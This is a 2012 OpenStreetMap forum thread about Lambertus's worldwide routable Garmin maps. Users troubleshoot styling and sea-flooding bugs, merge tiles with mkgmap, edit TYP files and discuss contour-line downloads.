- Re: Worldwide routable Garmin maps: URL REMOVED · hesher (Gast) · 07.02.2012 10:04 · [flux]
Sorry if the answer is obvious, but it is known that the styling for the current map is messed up?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.02.2012 16:32 · [flux]
Messed-up in what way? Screenshot perhaps?
- Re: Worldwide routable Garmin maps: URL REMOVED · hesher (Gast) · 07.02.2012 17:04 · [flux]
Lambertus wrote:
Messed-up in what way? Screenshot perhaps?
Yes, Ofcourse. Here is the "Before":
And the "After":
As you can see, the background is missing.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.02.2012 20:35 · [flux]
Thanks! I was worried that there was a really serious bug in the maps, but it's 'only' the stylesheet that's different (but I understand you don't like it).
I think this can be traced back to commit #2109 on the default stylesheet of Mkgmap. Perhaps something broke, so I'll email the Mkgmap dev list about that.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.02.2012 21:39 · [flux]
You can add this line
base-style=landuseto the info file in the default style:
http://www.mkgmap.org.uk/svn/wsvn/mkgma … fault/infoand maybe put some comment marks before the lines that you don't want to render:
http://www.mkgmap.org.uk/svn/wsvn/mkgma … e/polygons(0x4e clutters the map a lot without typ file)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.02.2012 22:13 · [flux]
Marko (the maintainer of the stylesheets in Mkgmap) has fixed the problem in SVN (commit #2204)
It will take a few days (probably somewhere next week) until you'll see this change in the maps.
Thanks Ligfietser!
- Re: Worldwide routable Garmin maps: URL REMOVED · hesher (Gast) · 08.02.2012 09:10 · [flux]
Lambertus wrote:
Marko (the maintainer of the stylesheets in Mkgmap) has fixed the problem in SVN (commit #2204)
It will take a few days (probably somewhere next week) until you'll see this change in the maps.
Thanks Ligfietser!
Thank you Lambertus and Thank you Ligfietser!!!!!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.02.2012 11:29 · [flux]
Lambertus,
How about generating the sea? Because I dont have found any issues in my Europe map I think it is worth a try with the mkgmap option --generate-sea=multipolygon,extend-sea-sectors,close-gaps=6000 - Re: Worldwide routable Garmin maps: URL REMOVED · Kickaha (Gast) · 08.02.2012 18:39 · [flux]
Hi all,
I am trying to use maps generated by the site, but i it does not render either in Mapsource or Basecamp. I have a white rectangle instead. Anyone would have a clue what I may be doing wrong? (using a PC version a .exe generated OSM for garmin)
Kickaha
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.02.2012 09:32 · [flux]
ligfietser wrote:
Lambertus,
How about generating the sea? Because I dont have found any issues in my Europe map I think it is worth a try with the mkgmap option --generate-sea=multipolygon,extend-sea-sectors,close-gaps=6000I can't check right now, but I'm pretty sure I'm using something like this already... See the flooding problems in Sydney a few pages back.
Kickaha wrote:
Hi all,
I am trying to use maps generated by the site, but i it does not render either in Mapsource or Basecamp. I have a white rectangle instead. Anyone would have a clue what I may be doing wrong? (using a PC version a .exe generated OSM for garmin)
Kickaha
No idea. Can you post the url from the email?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.02.2012 10:36 · [flux]
@Kickaha try ctrl-G (maybe a few times) because it could be that the background map is selected. Otherwise, zooming in on the map will help.
@Lambertus, must be a flooded river or lake down there (http://www.openstreetmap.org/browse/relation/1252425 natural=water), there is absolutely no sea in your maps around here
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.02.2012 13:38 · [flux]
ligfietser wrote:
@Kickaha try ctrl-G (maybe a few times) because it could be that the background map is selected. Otherwise, zooming in on the map will help.
Does ctrl-G work in Basecamp as well?
@Lambertus, must be a flooded river or lake down there (http://www.openstreetmap.org/browse/relation/1252425 natural=water), there is absolutely no sea in your maps around here
Sydney Harbour has been a problem area before, as it's quite complex.
But I'll check the scripts for this weekends' update .
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.02.2012 13:49 · [flux]
Ctrl-G is working in Basecamp as well and is one of the FAQs why the map is not visible.
Another one is zooming in on the right place, ctrl - is the trick here.
And the last trick is that you need to select the right map product, not everyone knows this ;-)Maybe make a Sticky topic of this?
About Sydney Harbour, I just downloaded a tile and it is rendered as natural=water and therefore blue.
The oceans are white and not rendered. - Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 09.02.2012 16:24 · [flux]
What is the update frequency?
I ask because during the last couple of years I have used my Garmin to collect tracks for an area of Turkey where maps are very bad. The one I can buy for the unit contains little less than the main coast road. So I have been looking for an alternative way to get my experiences back on the unit. Then (very) late january I discovered how easy it is to take tracks to open street maps, Potlatch, correct some details, add some facilities and tourist attractions and after a few days pull everything to my unit via garmin.openstreetmaps.nl Wauv, great. A BIG hooray.
Now, on tuesday I just fled the north european winter, sitting in Turkey right now, and simply cannot wait to get on the road to verify and improve even more on what I participated with.
Last map set is from 30. january, when should I expect the next?
- Re: Worldwide routable Garmin maps: URL REMOVED · Kickaha (Gast) · 09.02.2012 19:10 · [flux]
Lambertus wrote:
@Kickaha try ctrl-G (maybe a few times) because it could be that the background map is selected. Otherwise, zooming in on the map will help.Does ctrl-G work in Basecamp as well?
Thanks all, zoom + ctrl-G (several times) solved the issues! Thanks a lot!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.02.2012 20:47 · [flux]
andershl wrote:
What is the update frequency?
Last map set is from 30. january, when should I expect the next?
Usually every week, but sometimes things break and the update fails, like the last time. Next update is scheduled for this weekend.
ligfietser wrote:
Ctrl-G is working in Basecamp as well and is one of the FAQs why the map is not visible.
Another one is zooming in on the right place, ctrl - is the trick here.
And the last trick is that you need to select the right map product, not everyone knows this ;-)Maybe make a Sticky topic of this?
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- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.02.2012 19:29 · [flux]
ligfietser wrote:
Lambertus wrote:
Cool 😎
And how about the sea? 🙄
Just checked and started an update using the latest Mkgmap and style file (with modifications to the line file). The sea was indeed missing (I must have been mistaken with a previous test run), but it's now added...
I'll try to upload the map next monday (if all goes as planned).
- Re: Worldwide routable Garmin maps: URL REMOVED · k_b (Gast) · 11.02.2012 15:25 · [flux]
Hi.
i am having an issue combining some maps from lambertus together using mkgmap.this is how i do:
mkgmap (version 2205)
alias mkgmap='java -Xmx675m -enableassertions -jar /home/user/path/mkgmap-r2205/mkgmap.jar --draw-priority=10000 --transparent'
download denmark and czeck republic from http://garmin.openstreetmap.nl/czheck is ok, denmark seems not to be ok.
Then i run:
mkgmap --gmapsupp gmapsupp_osm_cz.img gmapsupp_osm_dk.imgdirectly after the czeck map is processed, mkgmap stops and does not continue with the danish map.
there is no error output. this issue happens with other countries as well, but czeck is actually working, whereas denmark is not.do you know what may cause the problem?
are there any options i can enable, either to make it work or to get an exit code or a trace or something?thank you.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.02.2012 19:43 · [flux]
The gmapsupp (from Denmark and Czheck Republic) is an container filled with Garmin images. It has the same filename extention (img) but is not the same as the Garmin images (tiles as I call them). A gmapsupp is more like a zip file containing the images. Mkgmap cannot handle these containers because it needs to work with separate images.
So you need to download the _tiles.zip instead of the _gmapsupp.zip.
- Re: Worldwide routable Garmin maps: URL REMOVED · k_b (Gast) · 11.02.2012 20:46 · [flux]
thanks! it does look to work.
out of curiosity, why does some of the countries work when combining gmapsupp.img files where as others does not?and a last question, if i just use mkgmap (as above) should i include the files *.mdx, *tdb and *_mdr*.img?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.02.2012 22:10 · [flux]
k_b wrote:
out of curiosity, why does some of the countries work when combining gmapsupp.img files where as others does not?
Don't know, really.
and a last question, if i just use mkgmap (as above) should i include the files *.mdx, *tdb and *_mdr*.img?
No. These files are not input for Mkgmap but are produced by Mkgmap if you pass the required parameters.
Below is my command co merge the images into a gmapsupp:
java␣-Xmx2048M␣-jar␣mkgmap.jar --index --overview-mapname=63240000 --series-name='OSM␣World␣Routable␣($version)' --latin1 --description='OSM␣World␣Routable' --product-id=3 --family-name='OSM␣World␣Routable' --family-id=2000 --tdbfile --nsis --gmapsupp *324*.img $typMkgmap
$version = a string containing a data, e.g. "10-02-2012"
$typMkgmap = a path to a TYP file (when given) - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.02.2012 22:19 · [flux]
On the Dutch forum I just published a small dos batch script that can combine Lambertus gmapsupp's into one single mapset for Mapsource or Basecamp:
http://mijndev.openstreetmap.nl/~ligfie … _Combi.zipThe readme.txt file is written in Dutch butsince you understand some of the basics of mkgmap its not too hard to understand how this works.For Lambertus Maps you only need to change the typ file in the mkgmap.bat file (set typfile= (empty for none, or mapnik.txt) because the default is for my OFM maps). You can also change the FID (default is 20122) and mapset name to your choice (default is OSM_combi). You can also add gmapsupp to the resources\mkgmap.args file to make one gmapsupp file of the whole combined mapset (please note that the last line in this file must be an empty line!).
In the Input folder you put the different gmapsupp's that you want to combine. Gmt.exe will unpack these and put the single img's in the Map folder.
You can also put the single tiles in the Map folder but dont include the index files there. After the gmt process mkgmap.jar will create the index files (and a gmapsupp if specified).Installation of the mapset in the Map folder can be done either by running/compiling the nsi file (with nsis) or Mapsettoolkit or Javawa's Mapconverter.
This method can also be used for including contour lines on Lambertus maps, but in Mapsource the contours are not always visible, in Basecamp the rendering is better.
Also other layers are possible, like hiking or cycling route layers, which can be downloaded from other osm sources (Note: both typ files must be compatible!)Have fun!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.02.2012 11:35 · [flux]
Nice work Ligfietser. Really nice work!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.02.2012 11:51 · [flux]
Thanks Lambertus,
Maybe this was kind like the plan you had in mind how the users can make their own mapsets by downloading your tiles?
This script is not very user friendly / dummy proof so if anyone out there can improve it by making a better user friendly interface, be my guest. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.02.2012 22:13 · [flux]
ligfietser wrote:
Thanks Lambertus,
Maybe this was kind like the plan you had in mind how the users can make their own mapsets by downloading your tiles?
This script is not very user friendly / dummy proof so if anyone out there can improve it by making a better user friendly interface, be my guest.Well, sort of, but in a very user friendly / dummy proof way 😉 But you created your script and I didn't create mine so you're way ahead!
Btw, do you see what I see?
/hint: it's blue...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.02.2012 23:10 · [flux]
Ah the ice has melted?! 😄
I will have a look... - Re: Worldwide routable Garmin maps: URL REMOVED · JuanPerez (Gast) · 14.02.2012 05:36 · [flux]
Hello.
The tile (AR-Cordoba) covering the Argentine cities of Rosario, Santa Fe and Cordoba is completely blue like the sea in my Nuvi. Roads appear correctly, but parks or vegetation are missing.
I downloaded "AR-Cordoba" along with other tiles from the Southern Cone from http://garmin.openstreetmap.nl/. Data is from 10-02-2012.
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.02.2012 09:45 · [flux]
Since this tile is completely land covered I suspect there is wrong data in OSM: (a broken) natural=coastline.
The geofabrik tool for inspecting the coast line only is valid for the EU so I think you have to search for this yourself.Lambertus, maybe add floodblocker in the scripts next time: --generate-sea=multipolygon,extend-sea-sectors,close-gaps=6000,floodblocker
- Re: Worldwide routable Garmin maps: URL REMOVED · UliBär (Gast) · 14.02.2012 09:59 · [flux]
I had a lot of flooding problems while rendering my own Garmin maps, when i started to render the sea.
The problems are completely gone, since i started using the coastline files in the mkgmap phase:
http://www.fabianowski.eu/osm/coastlines/
Maybe this is an option for Lambertus too? - Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 14.02.2012 10:14 · [flux]
UliBär wrote:
I had a lot of flooding problems while rendering my own Garmin maps, when i started to render the sea.
The problems are completely gone, since i started using the coastline files in the mkgmap phase:The costline files only helps if the coastlines are correct. But especially in the east of canada, there are quite some coastlines wrong. Automatic imports are not always a good idea. In this situation the coastline files will not help at all.
I would only use coastline files if I have to use an extract where the coastline files are not complete. Else I haven't seen a difference yet.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.02.2012 10:22 · [flux]
As the AR-Cordoba is a land-only tile (it does not cover part of the ocean) I think this is because a lake or riverbank polygon is not closed. But I could be wrong ofcourse.
Edit: oops, I'm late to the party. 🙂
Anyway, I hope that flooding problems in my maps will result in improved OSM coastlines...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.02.2012 10:54 · [flux]
@UliBär, I have tried some of Fabianowski's Full planet coastlines but those made mkgmap crash...
@Lambertus,that blue is the sea polygon (0x32) in tile 63241589.img when you open it with gpsmapedit. So there must be some coastline wandering around on the Argentina Pampa's ;-)
I think Wanmils' floodblocker will help in this case. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.02.2012 14:13 · [flux]
ligfietser wrote:
@Lambertus,that blue is the sea polygon (0x32) in tile 63241589.img when you open it with gpsmapedit. So there must be some coastline wandering around on the Argentina Pampa's ;-)
I think Wanmils' floodblocker will help in this case.Thanks for checking Ligfietser. I will add the floodblocker option on the next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.02.2012 16:16 · [flux]
Tested a few tiles from the UK & Netherlands, the sea looks pretty good!
There is one remarkable tile in the UK set that doesn't belong there (Greece/Cyprus):
http://planetosm.oxilion.nl/~lambertus/ … 241013.img - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.02.2012 22:23 · [flux]
ligfietser wrote:
Tested a few tiles from the UK & Netherlands, the sea looks pretty good!
Great!
There is one remarkable tile in the UK set that doesn't belong there (Greece/Cyprus):
http://planetosm.oxilion.nl/~lambertus/ … 241013.imgThat has always been the case, as Cyprus is part of the UK in the CIA files I'm using to identify which tile belongs to which country. Never took the trouble of removing Cyprus from the UK polygon file.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.02.2012 23:09 · [flux]
You better admit that you are afraid of Greekish or Turkish hatemail if you put this island in one of those countries sets? Cyprus is since 1960 not part of the UK 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.02.2012 09:29 · [flux]
ligfietser wrote:
You better admit that you are afraid of Greekish or Turkish hatemail if you put this island in one of those countries sets? Cyprus is since 1960 not part of the UK 😉
Hahaha, perhaps I could offer them to come over and drink some tea together.
🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · acemo (Gast) · 18.02.2012 00:27 · [flux]
ligfietser wrote:
On the Dutch forum I just published a small dos batch script that can combine Lambertus gmapsupp's into one single mapset for Mapsource or Basecamp:
http://mijndev.openstreetmap.nl/~ligfie … _Combi.zipThe readme.txt file is written in Dutch butsince you understand some of the basics of mkgmap its not too hard to understand how this works.For Lambertus Maps you only need to change the typ file in the mkgmap.bat file (set typfile= (empty for none, or mapnik.txt) because the default is for my OFM maps). You can also change the FID (default is 20122) and mapset name to your choice (default is OSM_combi). You can also add gmapsupp to the resources\mkgmap.args file to make one gmapsupp file of the whole combined mapset (please note that the last line in this file must be an empty line!).
In the Input folder you put the different gmapsupp's that you want to combine. Gmt.exe will unpack these and put the single img's in the Map folder.
You can also put the single tiles in the Map folder but dont include the index files there. After the gmt process mkgmap.jar will create the index files (and a gmapsupp if specified).Installation of the mapset in the Map folder can be done either by running/compiling the nsi file (with nsis) or Mapsettoolkit or Javawa's Mapconverter.
This method can also be used for including contour lines on Lambertus maps, but in Mapsource the contours are not always visible, in Basecamp the rendering is better.
Also other layers are possible, like hiking or cycling route layers, which can be downloaded from other osm sources (Note: both typ files must be compatible!)Have fun!
I wrote a linux script based on this OSM_Combi bat script.
Don't have the gmapsupp's atm, will test it tomorrow, if it works i'll post the script here. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.02.2012 14:49 · [flux]
The generated sea wasn't visible in the mapnik.typ file (wrong draw order priorities) so I updated the typ file:
http://mijndev.openstreetmap.nl/~ligfie … r2160).zipIn this zip file you can find two versions of this typ file, one with the default line types (mapnik-p.typ) and one with the mapnik coloured styles line types (mapnik-l.typ).
The first shows only the polygons in the mapnik colours, because the lines in the mapnik-l.typ has a fixed pixel width at all zoom levels and this looks uglier at lower zoomlevels (roads are too fat):
- Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 18.02.2012 19:13 · [flux]
Hello,
I downloaded for the first time into my Garmin Nuvi the maps generated here and I have a request to make if it is at all possible.
Can the map be generated without the "woods"?
What I mean is that I live in a rural area surrounded by woods everywhere which translates into green spots on the GPS which makes the roads very hard to see.
I think if these maps are to be used for Car Gps they should just display roads, names, railways, water bodies, airports, golf courses, and perhaps buidlings and pois and such.
The map should be uncluttered imo.
Anyway thanks for offering these maps I really appreciate them.Heres what it looks like around me... can you see the roads?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.02.2012 21:49 · [flux]
Yes, it's easier to make the forests invisible than making the forests visible if they are not generated at all.
You only have to use and edit the mapnik.typ file I mentioned before. With the online typ file editor from http://ati.land.cz/gps/typdecomp/editor.cgi you can make the polygon type 50 (woods/forest) transparent. - Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 18.02.2012 22:12 · [flux]
Thanks for the hint lifietser... I downloaded the mapsource version and installed it but I cant find a .typ file anywhere???
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.02.2012 08:53 · [flux]
Did you select "Include a typ file" before you downloaded the mapset?
If not, you can install it afterwards with Mapset Toolkit or download it again and grab an updated copy of the typ file from my site: http://mijndev.openstreetmap.nl/~ligfie … r2160).zip - Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 20.02.2012 02:10 · [flux]
Bummer, it looks like the editor is offline... does any of your .typ files remove the green stuff?
- Re: Worldwide routable Garmin maps: URL REMOVED · davecollett (Gast) · 20.02.2012 03:27 · [flux]
Hi,
I'm having trouble generating a custom map- I'm trying to create a map with France plus an additional 3 tiles down to Barcelona. When I select these, enter my email address and hit "Build My Map" I get an Invalid URL error message.. Any ideas what I could be doing wrong?Cheers,
Dave
http://dc-onabike.com - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.02.2012 06:50 · [flux]
Zemartelo wrote:
Bummer, it looks like the editor is offline... does any of your .typ files remove the green stuff?
Unfortunately not, you have to do it yourself. There are also offline editors, try http://pinns.co.uk/osm/ostyp.html
or Typviewer, https://sites.google.com/site/sherco40/home - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.02.2012 09:16 · [flux]
davecollett wrote:
Hi,
I'm having trouble generating a custom map- I'm trying to create a map with France plus an additional 3 tiles down to Barcelona. When I select these, enter my email address and hit "Build My Map" I get an Invalid URL error message.. Any ideas what I could be doing wrong?Cheers,
Dave
http://dc-onabike.comIt appears that the custom map server is not responding currently. I'll request the administrator for a reboot. Thanks for reporting.Oops, no, the server has been up and running all the time, so that's not it. I just requested the same map as you did and did not encounter anything out of the ordinary. I received the first 'status' email and I'm waiting for the map to get ready...
Update: Here's the download link for your map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 21.02.2012 00:27 · [flux]
ligfietser wrote:
Zemartelo wrote:
Bummer, it looks like the editor is offline... does any of your .typ files remove the green stuff?
Unfortunately not, you have to do it yourself. There are also offline editors, try http://pinns.co.uk/osm/ostyp.html
or Typviewer, https://sites.google.com/site/sherco40/homeThats too bad... Quick question, how do I make the polygon to be transparent?
I even tried to delete it from the typ file but the green always shows up.
Thanks - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.02.2012 09:51 · [flux]
My favorite editor is the typviewer from https://sites.google.com/site/sherco40/home
Goto Polygons and edit type 050, in the drawing mode, switch the colour from black to white, click on the bucket and pour the white colour on the black field in the right panel.
If you delete it from the typ file, the map picks up the default Garmin colour, which is...green 😉 - Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 21.02.2012 19:02 · [flux]
Adding content for the Garmin - Experiences and advise
A couple of weeks ago I set out to add routes and interest points for a badly mapped area in Turkey with the intention to use the result on my Garmin. Unfortunately the next weekend's update on this system did not run, so I could only test my contributions shortly before my return to Denmark.
By and large things did not work. Here are a couple of things that I learned, which I am now correcting and I want to share:
1) It is necessary to join the roads correctly together. For navigation it is not enough that it looks nice on the map. The side road must end in a node on the main road (Potlatch shows double frame when success).
2) For this purpose it is important to have enough nodes on the main road. Potlatch does not support addition of nodes in the middle of a road, only deletion/simplification, which may prove a pita (pain the the a.. /back end) for the guy who travelled and logged and now wants to add the side road.
3) For the same reason do not try to translate collected Garmin tracks directly into importable roads. The Garmin will almost for sure simplify the long and winding road. Use the Garmin track only to ensure where you were, but draw the exact road by hand based upon the blue line, but according to the Bing photo.
4) The Garmin supports only some of the OSM interest point types. For example "my" area has almost solely Turkish and/or fish restaurants. Such do not appear in the searchable Garmin restaurant list, not even under "other". Only when focusing (enough) in on the map the knife-and-fork-symbol will appear together with the name: Leave cuisine at "unset". Similarly with attractions and all other types: Use only those that you have vverified up front to be known and searchable on the Garmin.
Apart from that (beginner's learning) the end-to-end system is just great.
Some 90% of what you see here - roads, tracks, interest points and road names - were added by me when there during the last two weeks: http://www.openstreetmap.org/?lat=36.24 … 2&layers=M
Next time I arrive it will all be debugged and working.
A big hooray to and for Lambertus 🙂 🙂 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 21.02.2012 22:01 · [flux]
Good advice, it looks like you are doing a good job of mapping so far. Just to add a few things:
1) It is necessary to join the roads correctly together. For navigation it is not enough that it looks nice on the map. The side road must end in a node on the main road (Potlatch shows double frame when success).
Yes, proper junctions is important for routing. You can check tools like Keepright, which can highlight these "almost junctions", then fix any problems. http://keepright.ipax.at/
2) For this purpose it is important to have enough nodes on the main road. Potlatch does not support addition of nodes in the middle of a road, only deletion/simplification, which may prove a pita (pain the the a.. /back end) for the guy who travelled and logged and now wants to add the side road.
In Potlatch 2, you can add extra nodes - hold down Shift and click on the way. You can use this for adding junctions for side roads.
3) For the same reason do not try to translate collected Garmin tracks directly into importable roads. The Garmin will almost for sure simplify the long and winding road. Use the Garmin track only to ensure where you were, but draw the exact road by hand based upon the blue line, but according to the Bing photo.
Yes, where possible it is a good idea to get several GPS tracks, then you can take an average from them, as well as the aerial imagery, to draw in the roads. Note the Bing imagery is not always accurate, it may be offset in places.
Also, depending on what your Garmin is, you could set it to record more detailed tracks. ie record one trackpoint per second. Then it should follow the road better.4) The Garmin supports only some of the OSM interest point types. For example "my" area has almost solely Turkish and/or fish restaurants. Such do not appear in the searchable Garmin restaurant list, not even under "other". Only when focusing (enough) in on the map the knife-and-fork-symbol will appear together with the name: Leave cuisine at "unset". Similarly with attractions and all other types: Use only those that you have vverified up front to be known and searchable on the Garmin.
This does depend on how the Garmin maps are produced, ie what options and style files they are using. It is usually a good idea to map as much detail as possible, using the correct tags. If it doesn't show correctly on a particular map, you can report it to whoever is making the maps, and hopefully it can be fixed.
You can also check these pages, which have some helpful advice: http://wiki.openstreetmap.org/wiki/Good_practice
http://wiki.openstreetmap.org/wiki/Edit … onventions - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.02.2012 22:16 · [flux]
Thanks for sharing Anders,
A few remarks:
1) With this tool you can check if the roads are connected: http://keepright.ipax.at/index.php?lang=en
2) Use Shift-Click to add points somewhere in a road or join two roads together that are overlapping but not connected
4) This is not because it is not supported by Garmin, but because they are just missing in the style sheets. Don't withdraw them because OSM is much more than just a tool for this Garmin map. There are other maps that can render those items. Better drop a request here to make them visible on your Garmin or make a custom map to make them visible.Ah Vclaw was just ahead of me with the same answers ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · davecollett (Gast) · 21.02.2012 22:52 · [flux]
Lambertus wrote:
davecollett wrote:
Hi,
I'm having trouble generating a custom map- I'm trying to create a map with France plus an additional 3 tiles down to Barcelona. When I select these, enter my email address and hit "Build My Map" I get an Invalid URL error message.. Any ideas what I could be doing wrong?Cheers,
Dave
http://dc-onabike.comIt appears that the custom map server is not responding currently. I'll request the administrator for a reboot. Thanks for reporting.Oops, no, the server has been up and running all the time, so that's not it. I just requested the same map as you did and did not encounter anything out of the ordinary. I received the first 'status' email and I'm waiting for the map to get ready...
Update: Here's the download link for your map.
Cool, thanks- yes that one works for me now. I was also trying to put together a single map of Western Europe, but the URL is too long- might have to just use smaller ones.
Thanks for the service, very cool. - Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 22.02.2012 21:25 · [flux]
Shift-click etc. Thanks, great. I just found out. Good to know as before I knew how to, someone apparently imported some of my first Garmin tracks, and thus those roads are pretty much too straight. Missing joints and multi lane roads with all lanes in one and the same direction which I experienced in the base material from down there was actually also in my near surroundings here in Copenhagen. In fact it also explained some strange behaviour I have formerly seen with Garmin's own maps. Denmark is a multi-island-country and some (logically necessary) ferry routes were once obviously missing.
Yep debugging is a must, thx. for that link too.
As to the interest points: It DOES appear to me that Garmin shows only what it expects up front. Will keep experimenting to see what is best, and then align the lot.
- Re: Worldwide routable Garmin maps: URL REMOVED · Wim Peeters (Gast) · 26.02.2012 22:11 · [flux]
Hi
In the points style file I tried to have the fuel icon pop up in the lower levels/resolution 18.
amenity=fuel { name '${operator}: ${name}' | '${name}' | '${operator}' } [0x2f01 resolution 18]
However I did not succeed, Seems like for the lower levels this is not accepted to view points? I only need the fuel poi tot pop up earliers , but it is always visible together with the other poi's.gr Wim
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 27.02.2012 07:26 · [flux]
Whilst you have some control on the zoom level by setting the resolution in the mkgmap style file, Mapsource and GPS units have internal rules about certain POI types that you can't over-ride. I don't think there is a definitive list as it seems to vary by GPS unit. To test if this is what's going on, try using a different hexcode and see if you have better control over it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.02.2012 09:10 · [flux]
Wim, you can try to use another poi type for amenity=fuel on the lower zoomlevels
amenity=fuel [0x.... resolution 18-20 continue with_actions]
amenity=fuel { name '${operator}: ${name}' | '${name}' | '${operator}' } [0x2f01 resolution 22]0x.... you have to find out by trial and error, a typ file is recommended to make the label invisible (it will clutter your map otherwise) and to modify the default icon.
The city pois are displayed at lower zoomlevels (0x01 -0x0b) but they also show up in the city search, maybe 0x28.. will work? - Re: Worldwide routable Garmin maps: URL REMOVED · Wim Peeters (Gast) · 27.02.2012 22:42 · [flux]
Hello
Tried over 20 hexcodes, the only one I got to work is the points for city for instance 0x0001 (big green dot). I used:
amenity=fuel [0x0001 resolution 22-20 continue]
amenity=fuel { name '${operator}: ${name}' | '${name}' | '${operator}' } [0x2f01 resolution 23]But even then, there is a small gap in resolution, maybe I had to switch to level 24 and showed the fuelstations as green dot upto 22. The other POI's cannot be displayed in zoomed out level.
Well I've left the option, and not gonna use it. When driving I always use routed made in MS of BC, so I'll look for the fuelstations at home, or I'll do a find in my GPS.
gr Wim
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.03.2012 19:46 · [flux]
acemo wrote:
I wrote a linux script based on this OSM_Combi bat script.
Don't have the gmapsupp's atm, will test it tomorrow, if it works i'll post the script here.There is a new version of my script: https://sites.google.com/site/openfiets … /osm_combi
Settings can now be entered in the configuration file osm_combi.ini
The only thing I'm not happy with is the fact that mkgmap cannot produce an installer. You still need nsis, mapset toolkit or javawa's mapconverter.
Maybe someone out here can help to improve the batch file to write a simple windows registry installer/uninstaller to install the mapset directly?
Could this be done with the output of the nsi file?Problem solved by adding makensis to the osm_combi folder. With this standalone nsis version a separate installation is not needed anymore.
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 13.03.2012 22:19 · [flux]
Can you give me an idea as to when you will be pulling data from the OSM server again? I have made some updates in the past few weeks to fix "disconnected" paths and would like to have that data included in my map pull.
Cheers,
OK, updated. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · FFes (Gast) · 23.03.2012 11:05 · [flux]
Does anybody know a site that has contour lines (at least for Europe) now that http://openmtbmap.org does not have them as a separate download anymore.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.03.2012 11:41 · [flux]
http://osm.thkukuk.de/ has a lot of European countries (will there one for Europe be available Thorsten?) or Computerteddy for whole Europe: http://wiki.openstreetmap.org/wiki/User … von_Europa
The last set is a bit older and has some gaps in them. - Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 23.03.2012 12:45 · [flux]
ligfietser wrote:
http://osm.thkukuk.de/ has a lot of European countries (will there one for Europe be available Thorsten?)
Shouldn't be a problem to generate one, I only don't have enough space on my webserver anymore.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.03.2012 13:34 · [flux]
I'm also interested in a contour lines set for my Europe map. I have tried to combine your srtm set with some tiles of mine and it def. looks better.
How much Gb is a Europe set? I use google docs (20 gb for $5 per year). How much time will it roughly take to generate them? - Re: Worldwide routable Garmin maps: URL REMOVED · FFes (Gast) · 23.03.2012 14:52 · [flux]
ligfietser wrote:
I'm also interested in a contour lines set for my Europe map. I have tried to combine your srtm set with some tiles of mine and it def. looks better.
How much Gb is a Europe set? I use google docs (20 gb for $5 per year). How much time will it roughly take to generate them?I thought you use the osm.nl webspace?
I am also interested in contour line for more European countries, with the holidays coming this summer. I can imagine more people are interested in generic contour lines for use with other maps.
I even considered to generate srtm-based garmin maps to combine with Lambertus' maps. That data is quite static, so it should not be much work to maintain. But when other people already have scripts to do so, there is not much need to reinvent the wheel.
